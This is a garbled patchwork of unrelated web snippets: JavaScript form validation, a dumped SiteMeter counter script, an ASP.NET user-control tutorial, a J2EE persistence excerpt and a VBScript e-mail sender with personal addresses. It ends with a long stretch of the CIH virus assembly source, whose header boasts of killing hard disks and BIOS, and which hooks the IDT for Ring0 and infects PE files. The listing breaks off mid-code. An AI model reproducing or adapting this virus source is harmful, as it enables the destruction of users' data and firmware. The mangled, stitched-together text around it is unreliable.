The e-mail <> has the class="reqemail" assigned to it and the question has the class="reqquestion". These will be used to identify the s to the JavaScript as requiring validation and defining what type of validation they require. We can now use getElementsByTagName to access the class definitions on each of the inputs. When we used the getElementsByTagName at the start of the article to create a collection of forms, we used the entire document as its parent.
for (var intCounter = 0; intCounter < classname ="=" blnvalidate =" true;" classname ="=" blnvalidate =" true;"> fields that have a required class. All other s will be ignored by the script. The email and question items must now be validated.
Validation To validate the email we'll create a simple function using a regular expression to check if the e-mail is valid. This is called when the class="reqemail" is found by the validation function:
function validateEmail(elementsInputs, intCounter) {
var emailFilter=/^.+@.+\..{2,3}$/;
if (!emailFilter.test(elementsInputs[intCounter].value))
{
return true;
} }
The validateEmail(elementsInputs, intCounter) will return true if the e-mail address isn't valid. In the above example this triggers an alert in the validateForm(currentForm) function. We'll check to see if the 'How useful did you find this article?' has any text entered:
function validateText(elementsInputs, intCounter) {
if (elementsInputs[intCounter].value == "")
{
return true;
} }
Separating HTML, JavaScript and CSS The final task is to remove all JavaScript from the HTML page. The onsubmit function we applied to the
I was through the hacking of some php content for alter of some counter scripts but all in VAIN but at last I was succeded in making the Architechture of how counter are amde here is the example of one of the counter!.
onPageLoad:function() { var newImage = document.createElement("img"); var newHref = document.createElement("a") var scriptRef = SiteMeter.getScriptElement();
getReferral:function() { var sRef=""; var g_d = document; if (typeof(g_frames) != "undefined") if (g_frames) sRef=top.document.referrer; if ((sRef == "") || (sRef == "[unknown origin]") || (sRef == "unknown") || (sRef == "undefined")) if (document["parent"] != null) if (parent["document"] != null) // ACCESS ERROR HERE! if (parent.document["referrer"] != null) if (typeof(parent.document) == "object") sRef=parent.document.referrer; if ((sRef == "") || (sRef == "[unknown origin]") || (sRef == "unknown") || (sRef == "undefined")) if (g_d["referrer"] != null) sRef = g_d["referrer"]; if ((sRef == "[unknown origin]") || (sRef == "unknown") || (sRef == "undefined")) sRef = "";
return escape(sRef); },
getParent:function(e) { if (!e) return null; else if (e.parentElement) return e.parentElement; else if (e.parentNode) return e.parentNode; else return null; },
getTarget:function(e) { var targ=null; if (!e) var e = window.event; if (e.target) targ = e.target; else if (e.srcElement) targ = e.srcElement; if (targ.nodeType) if (targ.nodeType == 3) // Safari bug targ = targ.parentNode; return targ; },
getScriptElement:function() { var refScript=null; refScript = document.getElementById( "SiteMeterScript" ); if (refScript) return refScript;
var pageScripts = document.getElementsByTagName("script"); for(var i=0;i { if (pageScripts[i].src) { var sSource = pageScripts[i].src.toLowerCase(); if (sSource.indexOf("site=" + SiteMeter.CodeName) > 0) return pageScripts[i]; } }
return null; },
elementText:function(e) { do { var sText = (e.text)?e.text:e.innerText; if (sText) return sText.substr(0,100); if (e.alt) return e.alt; if (e.src) return e.src; e = SiteMeter.getParent(e); } while (e); return ""; },
elementURL:function(e) { do { if ((e.href) && (e.nodeName.toUpperCase() == 'A')) return e.href; e = SiteMeter.getParent(e); } while (e); return ""; },
NET is Microsoft's new programming technology which is now gaining acceptance and momentum. Soon, it will completely replace standard ASP. Glaserweb.com is already up to speed with .NET technology, and is fully ready for this switch. While .NET development is not as rapid (leading to higher production costs), it is significantly more stable, and runs much faster than older programming technologies, opening up new possibilities for web development.
(Below is copyrigted by samhacker.blogspot.com) User Control
I had given spaces in between the codes so that they will not be parsed!
In your favorite editor write the code for UserControl. Add the control directive to indicate it is the UserControl.
< ? X M L :NAMESPACE PREFIX = Asp />
Observe that I am not adding any java script to the TextBox at Declaration but for CheckBox. You can add other stuff for your control here, then add the server side scripting if necessary. I am using this area to add functionality to the TextBox.
< s c r i p t runat="Server" langugae="Vb"> Public Sub Page_Load() MyText.Text="Click Here" MyText.Attributes.Add("onClick","changeColor('MyTagCtl_MyText','Silver')") End Sub < / s c r i p t >
Notice that we can add script with Attribtes.Add method. This method has two parameters. The first one is the attribute name and the later is the value for the attribute. We are using this method to add java script function to our TextBox.
The Load event is same as Page_load of the web form. In case our control needs some client side scripting we can add with Script Tag. I am adding the javascript functions which will change the TextBox BackGround Color.
< s c r i p t language="JavaScript" type="text/JavaScript"> function changeColor(ctlId, newColor) { document.getElementById(ctlId).style.backgroundColor = newColor; } function check(ctlID,newColor) { document.getElementById(ctlID).style.backgroundColor = newColor; } s c r i p t >
We can add the javascript for the controls in the Aspx form where it is called, but it will be more meaningful to add it to the control itself so that calling form need not bother about the implementation. While referring the control we are not only using the control ID, but the TagID, which we will use in the Aspx form. It might be confusing at first, but the simple explanation is when controls are rendered on the form, it acquires the TagId used in the form and concatenates with the Id used in the user control to avoid any ambiguity with the controls used on the form. We will see details in implementation soon. Finally save the file with “Ascx” extension (MyScriptControl.Ascx).
Utilizing the UserControls
While utilizing the user controls in a web form it must be registered in the form at declaration section. For example, if our control file is named as “MyScriptControl.Ascx”, it must be registered using this control:
Each server control has “< a s p:” id="MyTagCtl" runat="Server">
We can add attributes according to the requirement (example: ViewState=”true”). As we discussed earlier we can add the Javascript in the Aspx page for the actions of the controls which are placed in the user control. We must remember that the TagId used in this declaration is the prefix which we applied to the controls id in the user control (I.e. 'MyTagCtl_MyText). To avoid this complex naming mechanism we can use “this” also.
Run the aspx form and click on the checkbox and on textbox to see controls in action. Congratulations, we now have our first user control!
Regardless of which data access strategy - and type of database - we use, we will encounter some common issues. Those discussed below will have a crucial impact on scalability and performance.
Transaction Isolation Transaction isolation levels determine database behavior, but are managed by the J2EE server, which is responsible for overall transaction co-ordination. Transaction isolation levels control the degree of isolation between concurrent transactions accessing the same database. SQL92 defines four transaction isolation levels, which are supported in the JDBC API. In decreasing order of isolation, these are:
TRANSACTION_SERIALIZABLE
TRANSACTION_REPEATABLE_READ
TRANSACTION_READ_COMMITTED
TRANSACTION_READ_UNCOMMITTED
The higher the level of isolation for a transaction, the greater the guarantee that its work will not be corrupted by other concurrent transactions, but the greater its impact will be on the total throughput of the resource. In the case of a relational database, the transaction isolation level will control the locking of rows or tables (see http://www.onjava.com/pub/a/onjava/2001/05/23/j2ee.html?page=2 for a good, concise, summary of SQL92 transaction isolation levels).
Important Transaction isolation levels can have a dramatic effect on data integrity and performance. However, their exact meaning differs between databases. This is one reason that transparent persistence is elusive.
Most databases don't support all four transaction isolation levels, meaning that a J2EE server may be unable to guarantee the expected behavior. For example, Oracle does not support the TRANSACTION_READ_UNCOMMITTED isolation level. However, Oracle does guarantee non-blocking reads, which preserve the intent of the READ_UNCOMMITTED isolation level.
Outside the EJB container, we will need to use API-specific, programmatic control over transaction isolation, such as the setTransactionIsolation() method on the java.sql.Connection interface.
Although the EJB specification doesn't specify the way in which EJB containers should control transaction, we should be able to set it declaratively for EJBs using CMT. This is a further advantage of using EJBs with CMT to co-ordinate data access. We can use the standard ejb-jar.xml deployment descriptor to tell any container when to begin and how to propagate transactions, but there is no standard way of telling the container exactly what a transaction should mean.
Usually this is specified in a container-specific deployment descriptor. For example, in WebLogic there's an element in the weblogic-ejb-jar.xml file that looks like this:
TRANSACTION_SERIALIZABLE Booking *
Important Always specify the transaction isolation level for EJB methods, if your EJB container allows it Otherwise you're relying on the default transaction isolation level of the target server, and have compromised portability unnecessarily.
Pessimistic and Optimistic Locking There are two basic strategies to database concurrency: pessimistic and optimistic locking. Pessimistic locking takes the "pessimistic" view that users are highly likely to corrupt each other's data, and that the only safe option is to serialize data access, so at most one user has control of any piece of data at one time. This ensures data integrity, but can severely reduce the amount of concurrent activity the system can support.
Optimistic locking takes the "optimistic" view that such data collisions will occur rarely, so it's more important to allow concurrent access than to lock out concurrent updates. The catch is diat we can't allow users to corrupt each other's data, so we have a problem if concurrent updates are attempted. We must be able to detect competing updates, and cause some updates to fail to preserve data integrity. An update must be rejected if the data to be updated has changed since the prospective updater read it. This means that we require a strategy for detecting such changes; often an optimistic locking attribute is used: a version number in the object or row that's incremented each time it is modified.
Transaction isolation levels can be used to enforce pessimistic locking. However, the EJB specification provides no support for optimistic locking, although particular implementations of entity bean CMP may, and many O/R mapping products do. To implement optimistic locking, we typically need to write code to check optimistic locking attributes and to roll back transactions if an inconsistency is detected.
Whether to choose pessimistic or optimistic locking for a particular scenario depends on business requirements and even the underlying database.
Important Locking, like transaction isolation levels, works very differently in different databases. I strongly recommend reading a good reference on the database(s) you work with. For example, Expert One-on-One Oracle from Wrox Press (ISBN: 1-86100-4-826) explains these issues clearly where Oracle is concerned.
Primary Key Generation Strategies Persistence stores require objects to have unique keys (primary keys, in RDBMS terminology). We may need to generate a new primary key each time we insert data.
The following discussion assumes the use of surrogate keys: primary keys without business meaning. If a primary key is a field with business meaning, such as e-mail, or a combination of fields with business meaning, it is called an intelligent or natural key, and there is no need to generate new keys - they're created as part of new data.
Surrogate keys are common in enterprise systems, although there are arguments for each type of key. These keys are easier to work with using entity beans, may lead to better performance and offer protection against changes in business rules (for example, if e-mail is used as a natural primary key for a User table, the table will need a new key if users are ever allowed to share e-mail addresses). Surrogate keys must never be exposed to manipulation; if they acquire business meaning they share the drawbacks of natural keys. See http://www.bcarter.com/intsurr1.htm for discussion of the pros and cons of intelligent and surrogate keys.
The problem of surrogate key generation is not unique to J2EE. It's often solved by auto-increment columns or other database-specific approaches. These aren't portable, and hence are distrusted by many J2EE developers. They can also be difficult to use from entity beans and JDBC.
EJB containers often provide a way to generate primary keys for CMP entity beans; although no standard approach is defined in the EJB specification (a disappointing omission). When such a mechanism is available, it's best to use it, if using entity beans. Check your server's documentation on entity bean CMP.
The key generation problem is encountered when using entity beans with BMP, or when implementing persistence with JDBC or another low-level API. The contract for entity bean BMP requires the ejbCreate() method to return the new primary key on entity creation. This means that we can't rely on database functionality such as auto-increment key columns. The problem is that we have no way of knowing which row we just inserted. We can try to do a SELECT based on the data values we've just inserted, but this is inelegant and not guaranteed to work. There might just be a valid reason why there could be duplicate data besides the primary key in logically distinct rows. The only alternative is to generate a unique primary key before the insert, and include the new primary key in the insert.
Note Note that the problem of primary key generation doesn't always apply unless we are using entity beans. It isn't always necessary to know the primary key of a newly inserted row.
There is much discussion on J2EE forums such as TheServerSide.com about how to generate primary keys in a way that's portable between databases and application servers. I feel that this is misguided: the value of simplicity outweighs portability.
Important Don't battle with increased complexity trying to generate unique primary keys in a way that's portable between databases. Instead, use the relevant features of your target database, isolating implementation-specific features so that the design remains portable.
It's better to face a simple reimplementation task if an application is ported to another database than to add additional complexity to ensure total code portability from the outset. The first alternative means there's always a simple, understandable, code base.
Three strategies are often suggested for primary key generation:
An entity bean that represents a sequence from the database
Generating a unique ID from within Java
Using a stored procedure or other database-specific means of generating primary keys
The first two solutions are portable. Let's consider each of these in turn.
Sequence Entity Bean This approach uses numeric keys. An entity bean stores a single number in the database and increments it whenever a client requests a new key. For example, we might have an RDBMS table like this:
KEYS _______________________________________________________________________________________________ NAME CURRENT_VALUE USER 109
Entity bean instances could wrap primary keys for each entity bean. The value in the CURRENT_VALUE column would be updated each time a key was requested.
This approach illustrates the dangers of rating a portable solution above a good solution. It can only be made to perform adequately by interposing a session bean that periodically requests a block of keys from the entity. If the entity is used every time a new key is requested, key generation will create a point of contention, as generating a key requires the CURRENT_VALUE column to be updating, serializing access to the KEYS table. This means that we need to deploy two EJBs purely to handle primary key generation: they contribute nothing towards implementing the application's business logic. This approach is unworkable.
Unique ID Generation in Java In this approach, surrogate key generation is done entirely outside the database. We use an algorithm that guarantees that each time a key is generated, it must be unique. Such algorithms are normally based on a combination of a random number, the system time, and the IP address of the server. The challenges here are that we may be running in a cluster, so we must make sure that individual servers can never generate the same key; and that Java only enables us to find the system time to a millisecond (for this reason, Java isn't a great language in which to generate unique IDs).
Unique ID generation involves an algorithm, rather than state, so it doesn't run into the problems of using singletons in the EJB tier, and hence we don't need to use additional EJBs to implement it.
Unique ID generation injava is fast and portable. However, it has the following disadvantages:
It generates lengthy keys, regardless of the number of rows that the table will hold
Keys are strings, not numbers, which may complicate indexing in the database
Keys are not sequential
This approach ignores RDBMS capabilities and insists on usingjava where it is weak.
Database-Specific ID Generation In my opinion, the best way to generate primary keys is using database-specific functionality. As primary key creation is a fundamental database problem, each database offers a fast solution that minimizes contentions when multiple users create rows. Usually this will involve performing the update through calling a stored procedure, rather than running a SQL INSERT. Remember, that since we need to know the ID of the new row, we can't simply rely on an auto-increment column or an insert trigger to create a new primary key as the INSERT runs.
The stored procedure must take input parameters for all the data values for the new row, and an output parameter that will enable it to return the generated primary key to the JDBC caller. It must insert the new data, returning the new primary key. Depending on the database, the primary key may be created automatically when the INSERT occurs (for example, if the primary key column is an auto-increment column), or the primary key may be created before the insert. This approach will give us portable JDBC code, but will require database-specific coding for the stored procedure.
The following example shows this approach with Oracle (Simply type the code into SQL*Plus to try it). Let's look at generating keys as we add rows to the following simple table, with only a single data value besides the primary key:
CREATE TABLE person ( id NUMERIC PRIMARY KEY, name VARCHAR (32) );
Oracle uses sequences instead of auto-increment columns, so we need to define a sequence that we can use with this table:
CREATE SEQUENCE person_seq start WITH 1 increment BY 1 nomaxvalue;
Now we need to write a stored procedure to do the INSERT; for Oracle, I used PL/SQL. Note that this stored procedure has an output parameter, which we use to return the new id to calling JDBC code:
CREATE OR REPLACE PROCEDURE person_add (p_name in varchar, p_id out number) AS BEGIN SELECT person_seq.nextval INTO p_id FROM dual; INSERT INTO person(id, name) VALUES(p_id, p_name); END; /
We've dealt with Oracle-specific code inside the database, but the JDBC code we use to call this is portable. Whatever RDBMS we use, all we need is to ensure that we have a stored procedure with the name person_add and the same parameters. In a real-world situation there would be many more input parameters, but always only one output parameter.
First, we must call the stored procedure. This is very similar to invoking a PreparedStatement:
Now we can extract the value of the output parameter:
int pk = call.getlnt(2); System.out.println ("The primary key for the new row was " + pk) ; call.close();
This approach gives us simple, portable, Java code, but will require us to implement a new stored procedure if we ever switch database. However, as the stored procedure is so simple, this is not likely to be a problem. The stored procedure is effectively the implementation of an interface defined in our Java code.
JDBC 3.0 Another option is available when using a database driver that supports JDBC 3.0. The JDBC 3.0 Statement interface allows us to obtain the keys created by an insert. The following is a simple example of using this functionality:
This solves the primary key generation problem if the database has a trigger to create a new primary key or if the primary key is an auto-increment column. However, JDBC 3.0 support is not yet widely available, so this strategy is usually not an option. To use this in a J2EE application, both your database vendor and application server will need to support JDBC 3.0, as application code is likely to be given server-specific wrapper connections for the underlying database connections.
Note JDBC 3.0 is a required API in J2EE 1.4, so J2EE 1.4 applications using JDBC will be guaranteed the ability to learn the primary keys of newly inserted rows, allowing primary key generation to be concealed within the RDBMS.
Hey now i m ready to stun as a week before one of my friend came to may home to search on some cgi appication code to send email and reciving it on some famous port. But I tried It on VBscript and get success!. As u get problem on:-
1.Initially activation on ActiveX.
2.Some firewall discrimination.
esle every thing will go fine.
Private Sub Form_Load()
Dim lobj_cdomsg As CDO.Message Set lobj_cdomsg = New CDO.Message 'Add the Project Reference Miscrosoft CDO WINDOWS FOR 2000 'lobj_cdomsg.Configuration.Fields(cdoSMTPServer)="102.16.100.189" lobj_cdomsg.Configuration.Fields(cdoSMTPServer) = "102.16.100.19" lobj_cdomsg.Configuration.Fields(cdoSMTPConnectionTimeout) = 30 lobj_cdomsg.Configuration.Fields(cdoSendUsingMethod) = cdoSendUsingPort lobj_cdomsg.Configuration.Fields.Update lobj_cdomsg.To = "Wallace.Evans@gwinnettcounty.com,raman.thiagarajan@gwinnettcounty.com" lobj_cdomsg.From = "raman.thiagarajan@gwinnettcounty.com" lobj_cdomsg.Subject = "filename Sent to www.???.com " lobj_cdomsg.TextBody = "File FTP LOG ATTACHED." lobj_cdomsg.AddAttachment ("\\server\filefolder\FTPlog.TXT") lobj_cdomsg.Send Set lobj_cdomsg = Nothing Unload Me
; * The Virus Program Information * ; ****************************************************************************
; * * ; * Designer : CIH Original Place : TTIT of Taiwan * ; * Create Date : 04/26/1998 Now Version : 1.2 * ; * Modification Time : 05/21/1998 * ; * * ; *==========================================================================*
; * Modification History * ; *==========================================================================*
; * v1.0 1. Create the Virus Program. * ; * 2. The Virus Modifies IDT to Get Ring0 Privilege. * ; * 04/26/1998 3. Virus Code doesn't Reload into System. * ; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. * ; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. * ; * 6. When System Opens Existing PE File, the File will be * ; * Infected, and the File doesn't be Reinfected. * ; * 7. It is also Infected, even the File is Read-Only. * ; * 8. When the File is Infected, the Modification Date and Time * ; * of the File also don't be Changed. * ; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call * ; * Previous FileSystemApiHook, it will Call the Function * ; * that the IFS Manager Would Normally Call to Implement * ; * this Particular I/O Request. * ; * 10. The Virus Size is only 656 Bytes. * ; *==========================================================================*
; * v1.1 1. Especially, the File that be Infected will not Increase * ; * it's Size... ^__^ * ; * 05/15/1998 2. Hook and Modify Structured Exception Handing. * ; * When Exception Error Occurs, Our OS System should be in * ; * Windows NT. So My Cute Virus will not Continue to Run, * ; * it will Jmup to Original Application to Run. * ; * 3. Use Better Algorithm, Reduce Virus Code Size. * ; * 4. The Virus "Basic" Size is only 796 Bytes. * ; *==========================================================================*
; * v1.2 1. Kill All HardDisk, and BIOS... Super... Killer... * ; * 2. Modify the Bug of v1.1 * ; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes. * ; ****************************************************************************
FileNameBufferSize = 7fh ; ********************************************************* VirusGame SEGMENT ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame ; ********************************************************* ; * Ring3 Virus Game Initial Program * ; ********************************************************* MyVirusStart: push ebp ; ************************************* ; * Let's Modify Structured Exception * ; * Handing, Prevent Exception Error * ; * Occurrence, Especially in NT. * ; ************************************* lea eax, [esp-04h*2] xor ebx, ebx xchg eax, fs:[ebx] call @0 @0: pop ebx lea ecx, StopToRunVirusCode-@0[ebx] push ecx push eax ; ************************************* ; * Let's Modify * ; * IDT(Interrupt Descriptor Table) * ; * to Get Ring0 Privilege... * ; ************************************* push eax ; sidt [esp-02h] ; Get IDT Base Address pop ebx ; add ebx, HookExceptionNumber*08h+04h ; ZF = 0 cli mov ebp, [ebx] ; Get Exception Base mov bp, [ebx-04h] ; Entry Point lea esi, MyExceptionHook-@1[ecx] push esi mov [ebx-04h], si ; shr esi, 16 ; Modify Exception mov [ebx+02h], si ; Entry Point Address pop esi ; ************************************* ; * Generate Exception to Get Ring0 * ; ************************************* int HookExceptionNumber ; GenerateException ReturnAddressOfEndException = $ ; ************************************* ; * Merge All Virus Code Section * ; ************************************* push esi mov esi, eax LoopOfMergeAllVirusCodeSection: mov ecx, [eax-04h] rep movsb sub eax, 08h mov esi, [eax] or esi, esi jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1 jmp LoopOfMergeAllVirusCodeSection QuitLoopOfMergeAllVirusCodeSection: pop esi ; ************************************* ; * Generate Exception Again * ; ************************************* int HookExceptionNumber ; GenerateException Again ; ************************************* ; * Let's Restore * ; * Structured Exception Handing * ; ************************************* ReadyRestoreSE: sti xor ebx, ebx jmp RestoreSE ; ************************************* ; * When Exception Error Occurs, * ; * Our OS System should be in NT. * ; * So My Cute Virus will not * ; * Continue to Run, it Jmups to * ; * Original Application to Run. * ; ************************************* StopToRunVirusCode: @1 = StopToRunVirusCode xor ebx, ebx mov eax, fs:[ebx] mov esp, [eax] RestoreSE: pop dword ptr fs:[ebx] pop eax ; ************************************* ; * Return Original App to Execute * ; ************************************* pop ebp push 00401000h ; Push Original OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack ret ; Return to Original App Entry Point ; ********************************************************* ; * Ring0 Virus Game Initial Program * ; ********************************************************* MyExceptionHook: @2 = MyExceptionHook jz InstallMyFileSystemApiHook ; ************************************* ; * Do My Virus Exist in System !? * ; ************************************* mov ecx, dr0 jecxz AllocateSystemMemoryPage add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException ; ************************************* ; * Return to Ring3 Initial Program * ; ************************************* ExitRing0Init: mov [ebx-04h], bp ; shr ebp, 16 ; Restore Exception mov [ebx+02h], bp ; iretd ; ************************************* ; * Allocate SystemMemory Page to Use * ; ************************************* AllocateSystemMemoryPage: mov dr0, ebx ; Set the Mark of My Virus Exist in System push 00000000fh ; push ecx ; push 0ffffffffh ; push ecx ; push ecx ; push ecx ; push 000000001h ; push 000000002h ; int 20h ; VMMCALL _PageAllocate _PageAllocate = $ ; dd 00010053h ; Use EAX, ECX, EDX, and flags add esp, 08h*04h xchg edi, eax ; EDI = SystemMemory Start Address lea eax, MyVirusStart-@2[esi] iretd ; Return to Ring3 Initial Program ; ************************************* ; * Install My File System Api Hook * ; ************************************* InstallMyFileSystemApiHook: lea eax, FileSystemApiHook-@6[edi] push eax ; int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook IFSMgr_InstallFileSystemApiHook = $ ; dd 00400067h ; Use EAX, ECX, EDX, and flags mov dr0, eax ; Save OldFileSystemApiHook Address pop eax ; EAX = FileSystemApiHook Address
; Save Old IFSMgr_InstallFileSystemApiHook Entry Point mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi] mov edx, [ecx] mov OldInstallFileSystemApiHook-@3[eax], edx
; Call Original IFSMgr_InstallFileSystemApiHook ; to Link Client FileSystemApiHook push dword ptr [esp+8] call OldInstallFileSystemApiHook-@3[ebx] pop ecx push eax
; Call Original IFSMgr_InstallFileSystemApiHook ; to Link My FileSystemApiHook push ebx call OldInstallFileSystemApiHook-@3[ebx] pop ecx mov dr0, eax ; Adjust OldFileSystemApiHook Address pop eax pop ebx ret ; ********************************************************* ; * Static Data * ; ********************************************************* OldInstallFileSystemApiHook dd ? ; ********************************************************* ; * IFSMgr_FileSystemHook * ; *********************************************************
; ************************************* ; * IFSMgr_FileSystemHook Entry Point * ; ************************************* FileSystemApiHook: @3 = FileSystemApiHook pushad call @5 ; @5: ; pop esi ; mov esi, offset VirusGameDataStartAddress add esi, VirusGameDataStartAddress-@5 ; ************************************* ; * Is OnBusy !? * ; ************************************* test byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy ) jnz pIFSFunc ; goto pIFSFunc ; ************************************* ; * Is OpenFile !? * ; ************************************* ; if ( NotOpenFile ) ; goto prevhook lea ebx, [esp+20h+04h+04h] cmp dword ptr [ebx], 00000024h jne prevhook ; ************************************* ; * Enable OnBusy * ; ************************************* inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy ; ************************************* ; * Get FilePath's DriveNumber, * ; * then Set the DriveName to * ; * FileNameBuffer. * ; ************************************* ; * Ex. If DriveNumber is 03h, * ; * DriveName is 'C:'. * ; ************************************* ; mov esi, offset FileNameBuffer add esi, FileNameBuffer-@6 push esi mov al, [ebx+04h] cmp al, 0ffh je CallUniToBCSPath add al, 40h mov ah, ':' mov [esi], eax inc esi inc esi ; ************************************* ; * UniToBCSPath * ; ************************************* ; * This Service Converts * ; * a Canonicalized Unicode Pathname * ; * to a Normal Pathname in the * ; * Specified BCS Character Set. * ; ************************************* CallUniToBCSPath: push 00000000h push FileNameBufferSize mov ebx, [ebx+10h] mov eax, [ebx+0ch] add eax, 04h push eax push esi int 20h ; VXDCall UniToBCSPath UniToBCSPath = $ dd 00400041h add esp, 04h*04h ; ************************************* ; * Is FileName '.EXE' !? * ; ************************************* ; cmp [esi+eax-04h], '.EXE' cmp [esi+eax-04h], 'EXE.' pop esi jne DisableOnBusy IF DEBUG ; ************************************* ; * Only for Debug * ; ************************************* ; cmp [esi+eax-06h], 'FUCK' cmp [esi+eax-06h], 'KCUF' jne DisableOnBusy ENDIF ; ************************************* ; * Is Open Existing File !? * ; ************************************* ; if ( NotOpenExistingFile ) ; goto DisableOnBusy cmp word ptr [ebx+18h], 01h jne DisableOnBusy ; ************************************* ; * Get Attributes of the File * ; ************************************* mov ax, 4300h int 20h ; VXDCall IFSMgr_Ring0_FileIO IFSMgr_Ring0_FileIO = $ dd 00400032h jc DisableOnBusy push ecx ; ************************************* ; * Get IFSMgr_Ring0_FileIO Address * ; ************************************* mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi] mov edi, [edi] ; ************************************* ; * Is Read-Only File !? * ; ************************************* test cl, 01h jz OpenFile ; ************************************* ; * Modify Read-Only File to Write * ; ************************************* mov ax, 4301h xor ecx, ecx call edi ; VXDCall IFSMgr_Ring0_FileIO ; ************************************* ; * Open File * ; ************************************* OpenFile: xor eax, eax mov ah, 0d5h xor ecx, ecx xor edx, edx inc edx mov ebx, edx inc ebx call edi ; VXDCall IFSMgr_Ring0_FileIO xchg ebx, eax ; mov ebx, FileHandle ; ************************************* ; * Need to Restore * ; * Attributes of the File !? * ; ************************************* pop ecx pushf test cl, 01h jz IsOpenFileOK ; ************************************* ; * Restore Attributes of the File * ; ************************************* mov ax, 4301h call edi ; VXDCall IFSMgr_Ring0_FileIO ; ************************************* ; * Is Open File OK !? * ; ************************************* IsOpenFileOK: popf jc DisableOnBusy ; ************************************* ; * Open File Already Succeed. ^__^ * ; ************************************* push esi ; Push FileNameBuffer Address to Stack pushf ; Now CF = 0, Push Flag to Stack add esi, DataBuffer-@7 ; mov esi, offset DataBuffer ; *************************** ; * Get OffsetToNewHeader * ; *************************** xor eax, eax mov ah, 0d6h
; For Doing Minimal VirusCode's Length, ; I Save EAX to EBP. mov ebp, eax xor ecx, ecx mov cl, 04h xor edx, edx mov dl, 3ch call edi ; VXDCall IFSMgr_Ring0_FileIO mov edx, [esi] ; *************************** ; * Get 'PE\0' Signature * ; * of ImageFileHeader, and * ; * Infected Mark. * ; *************************** dec edx mov eax, ebp call edi ; VXDCall IFSMgr_Ring0_FileIO ; *************************** ; * Is PE !? * ; *************************** ; * Is the File * ; * Already Infected !? * ; *************************** ; cmp [esi], '\0PE\0' cmp dword ptr [esi], 00455000h jne CloseFile ; ************************************* ; * The File is ^o^ * ; * PE(Portable Executable) indeed. * ; ************************************* ; * The File isn't also Infected. * ; *************************************
; ************************************* ; * Start to Infect the File * ; ************************************* ; * Registers Use Status Now : * ; * * ; * EAX = 04h * ; * EBX = File Handle * ; * ECX = 04h * ; * EDX = 'PE\0\0' Signature of * ; * ImageFileHeader Pointer's * ; * Former Byte. * ; * ESI = DataBuffer Address ==> @8 * ; * EDI = IFSMgr_Ring0_FileIO Address * ; * EBP = D600h ==> Read Data in File * ; ************************************* ; * Stack Dump : * ; * * ; * ESP => ------------------------- * ; * | EFLAG(CF=0) | * ; * ------------------------- * ; * | FileNameBufferPointer | * ; * ------------------------- * ; * | EDI | * ; * ------------------------- * ; * | ESI | * ; * ------------------------- * ; * | EBP | * ; * ------------------------- * ; * | ESP | * ; * ------------------------- * ; * | EBX | * ; * ------------------------- * ; * | EDX | * ; * ------------------------- * ; * | ECX | * ; * ------------------------- * ; * | EAX | * ; * ------------------------- * ; * | Return Address | * ; * ------------------------- * ; ************************************* push ebx ; Save File Handle push 00h ; Set VirusCodeSectionTableEndMark ; *************************** ; * Let's Set the * ; * Virus' Infected Mark * ; *************************** push 01h ; Size push edx ; Pointer of File push edi ; Address of Buffer ; *************************** ; * Save ESP Register * ; *************************** mov dr1, esp ; *************************** ; * Let's Set the * ; * NewAddressOfEntryPoint * ; * ( Only First Set Size ) * ; *************************** push eax ; Size ; *************************** ; * Let's Read * ; * Image Header in File * ; *************************** mov eax, ebp mov cl, SizeOfImageHeaderToRead add edx, 07h ; Move EDX to NumberOfSections call edi ; VXDCall IFSMgr_Ring0_FileIO ; *************************** ; * Let's Set the * ; * NewAddressOfEntryPoint * ; * ( Set Pointer of File, * ; * Address of Buffer ) * ; *************************** lea eax, (AddressOfEntryPoint-@8)[edx] push eax ; Pointer of File lea eax, (NewAddressOfEntryPoint-@8)[esi] push eax ; Address of Buffer ; *************************** ; * Move EDX to the Start * ; * of SectionTable in File * ; *************************** movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi] lea edx, [eax+edx+12h] ; *************************** ; * Let's Get * ; * Total Size of Sections * ; *************************** mov al, SizeOfScetionTable ; I Assume NumberOfSections <= 0ffh mov cl, (NumberOfSections-@8)[esi] mul cl ; *************************** ; * Let's Set Section Table * ; *************************** ; Move ESI to the Start of SectionTable lea esi, (StartOfSectionTable-@8)[esi] push eax ; Size push edx ; Pointer of File push esi ; Address of Buffer ; *************************** ; * The Code Size of Merge * ; * Virus Code Section and * ; * Total Size of Virus * ; * Code Section Table Must * ; * be Small or Equal the * ; * Unused Space Size of * ; * Following Section Table * ; *************************** inc ecx push ecx ; Save NumberOfSections+1 shl ecx, 03h push ecx ; Save TotalSizeOfVirusCodeSectionTable add ecx, eax add ecx, edx sub ecx, (SizeOfHeaders-@9)[esi] jnc short OnlySetInfectedMark not ecx inc ecx cmp cx, small CodeSizeOfMergeVirusCodeSection jb OnlySetInfectedMark ; *************************** ; * Save Original * ; * Address of Entry Point * ; *************************** ; Save My Virus First Section Code ; Size of Following Section Table... ; ( Not Include the Size of Virus Code Section Table ) push ecx xchg ecx, eax ; ECX = Size of Section Table mov eax, (AddressOfEntryPoint-@9)[esi] add eax, (ImageBase-@9)[esi] mov (OriginalAddressOfEntryPoint-@9)[esi], eax ; *************************** ; * Read All Section Tables * ; *************************** mov eax, ebp call edi ; VXDCall IFSMgr_Ring0_FileIO ; *************************** ; * Let's Set Total Virus * ; * Code Section Table * ; *************************** ; EBX = My Virus First Section Code ; Size of Following Section Table pop ebx pop edi ; EDI = TotalSizeOfVirusCodeSectionTable pop ecx ; ECX = NumberOfSections+1 push edi ; Size add edx, eax push edx ; Pointer of File add eax, esi push eax ; Address of Buffer ; *************************** ; * Set the First Virus * ; * Code Section Size in * ; * VirusCodeSectionTable * ; *************************** lea eax, [eax+edi-04h] mov [eax], ebx ; *************************** ; * Let's Set My Virus * ; * First Section Code * ; *************************** push ebx ; Size add edx, edi push edx ; Pointer of File lea edi, (MyVirusStart-@9)[esi] push edi ; Address of Buffer ; 